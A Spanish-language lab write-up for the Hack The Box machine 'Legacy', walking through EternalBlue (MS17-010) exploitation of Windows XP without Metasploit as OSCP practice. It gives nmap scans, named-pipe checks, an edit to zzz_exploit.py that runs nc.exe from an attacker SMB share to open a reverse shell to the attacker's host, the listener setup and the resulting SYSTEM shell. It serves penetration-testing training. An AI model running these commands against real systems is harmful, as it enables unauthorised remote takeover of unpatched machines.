Legacy - Writeup

Legacy - Writeup

mié. 25 dic 2024
10 minutos


Legacy es una máquina Windows sencilla para aprender a realizar el Eternal Blue. En este writeup se explicará la forma de hacerlo sin usar Metasploit. De esta forma, los conocimientos que aprenderás en este writeup te servirán para aplicarlos en la OSCPen el caso de que esta vulnerabilidad caiga en tu examen.

Reconocimiento Link to Reconocimiento

Empezaremos escaneando los puertos abiertos de la máquina Legacy cuya IP es 10.10.10.4 con nmap.

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.4 -oG allPorts
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
Initiating SYN Stealth Scan at 20:13
Scanning 10.10.10.4 [65535 ports]
Discovered open port 139/tcp on 10.10.10.4
Discovered open port 135/tcp on 10.10.10.4
Discovered open port 445/tcp on 10.10.10.4
Completed SYN Stealth Scan at 20:13, 20.93s elapsed (65535 total ports)
Nmap scan report for 10.10.10.4
Host is up (0.12s latency).
Not shown: 54890 closed tcp ports (reset), 10642 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Ahora enumeraremos los servicios que corren en estos puertos:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
Nmap scan report for 10.10.10.4
Host is up (0.10s latency).

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2024-12-30T23:12:44+02:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 005056b0d970 (VMware)
|_clock-skew: mean: 5d00h57m43s, deviation: 1h24m51s, median: 4d23h57m43s

Como podemos observar, es una máquina Windows XP con el puerto 445 corriendo SMB. Debido a esto podemos sospechar de que puede ser vulnerable al Eternal Blue.


Para verificarlo usaremos una serie de scripts de enumeración de nmap:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sudo nmap --script "vuln and safe" -p445 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.044s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Efectivamente es vulnerable a MS17-010, es decir, es vulnerable al Eternal Blue.

Explotación Link to Explotación

Para su explotación haré uso del repositorio de Github worawit/MS17-010: MS17-010. Haremos uso de dos scripts: checker.py y zzz_exploit.py. Aunque solo hagamos uso directo de estos dos scripts, recomiendo clonar el repositorio entero ya que estos hacen uso de algunos otros dentro de la misma carpeta como por ejemplo mysmb.py.


Para explotar el Eternal Blue debemos de encontrar algo llamado los named pipes. Los pipes son una característica de los sistemas operativos para la comunicación y traspaso de información entre los procesos. El Eternal Blue los usa como vía de entrada para la explotación de la vulnerabilidad. Por ello, debemos saber por cuál named pipe debemos enviar el exploit.


Para determinar los named pipes usaremos el checker.py:

BASH
1
2
3
4
5
6
7
8
9
10
python checker.py 10.10.10.4
Target OS: Windows 5.1
The target is not patched

=== Testing named pipes ===
spoolss: Ok (32 bit)
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: Ok (32 bit)

Todos aquellos named pipes, que tenga un Ok como respuesta son susceptibles al Eternal Blue. En este writeup se usará el named pipe de browser.

Una vez tenemos un named pipe, modificaremos el script zzz_exploit.py para que entable una reverse shell con nuestra máquina de atacante usando un recurso que compartiremos por smb que será nc.exe.


Pasaremos de esto:

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def smb_pwn(conn, arch):
 973   │     smbConn = conn.get_smbconnection()
 974
 975print('creating file c:\\pwned.txt on the target')
 976   │     tid2 = smbConn.connectTree('C$')
 977   │     fid2 = smbConn.createFile(tid2, '/pwned.txt')
 978   │     smbConn.closeFile(tid2, fid2)
 979   │     smbConn.disconnectTree(tid2)
 980
 981#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
 982#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
 983# Note: there are many methods to get shell over SMB admin session
 984# a simple method to get shell (but easily to be detected by AV) is
 985# executing binary generated by "msfvenom -f exe-service ..."

A esto:

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def smb_pwn(conn, arch):
 973#smbConn = conn.get_smbconnection()
 974
 975#print('creating file c:\\pwned.txt on the target')
 976#tid2 = smbConn.connectTree('C$')
 977#fid2 = smbConn.createFile(tid2, '/pwned.txt')
 978#smbConn.closeFile(tid2, fid2)
 979#smbConn.disconnectTree(tid2)
 980
 981#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
 982   │     service_exec(conn, r'cmd /c \\10.10.14.9\smbFolder\nc.exe -e cmd 10.10.14.9 443')
 983# Note: there are many methods to get shell over SMB admin session
 984# a simple method to get shell (but easily to be detected by AV) is
 985# executing binary generated by "msfvenom -f exe-service ..."

Cambiar la ip 10.10.14.9 por la que tengas como atacante.


Una vez modificado el script, nos pondremos en escucha con netcat por el puerto que hayamos establecido en zzz_exploit.py, en mi caso 443.

BASH
1
sudo rlwrap nc -nlvp 443

Además tendremos que ponernos en escucha con smb para compartir el recurso de nc.exe.

Para encontrar el recurso nc.exe de tu Kali o ParrosOS usa: updatedb && locate nc.exe


Nos ponemos en escucha:

BASH
1
2
3
4
5
6
7
8
9
sudo impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Y por último ejecutaremos el script:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
python zzz_exploit.py 10.10.10.4 browser
Target OS: Windows 5.1
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x8602abd8
SESSION: 0xe1116838
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe245cbd0
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe245cc70
overwriting token UserAndGroups
Opening SVCManager on 10.10.10.4.....
Creating service KPOX.....
Starting service KPOX.....
The NETBIOS connection with the remote host timed out.
Removing service KPOX.....
ServiceExec Error on: 10.10.10.4
nca_s_proto_error
Done

En la consola donde se ejecutaba el smb se deberán de haber añadido las siguientes líneas:

BASH
1
2
3
4
[*] Incoming connection (10.10.10.4,1036)
[*] AUTHENTICATE_MESSAGE (\,LEGACY)
[*] User LEGACY\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa

Y en la consola donde estabamos en escucha, deberíamos de tener acceso a la máquina:

BASH
1
2
3
4
5
6
7
sudo rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.4] 1038
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Una vez dentro, podemos acceder a la flag user.txt:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Documents and Settings\john\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 54BF-723B

 Directory of C:\Documents and Settings\john\Desktop

16/03/2017  08:19 ��    <DIR>          .
16/03/2017  08:19 ��    <DIR>          ..
16/03/2017  08:19 ��                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)   6.403.887.104 bytes free

C:\Documents and Settings\john\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Y también sin necesidad de escalar privilegios podemos acceder a la flag root.txt:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Documents and Settings\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 54BF-723B

 Directory of C:\Documents and Settings\Administrator\Desktop

16/03/2017  08:18 ��    <DIR>          .
16/03/2017  08:18 ��    <DIR>          ..
16/03/2017  08:18 ��                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)   6.403.874.816 bytes free

C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Con esto concluye la máquina Legacy. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.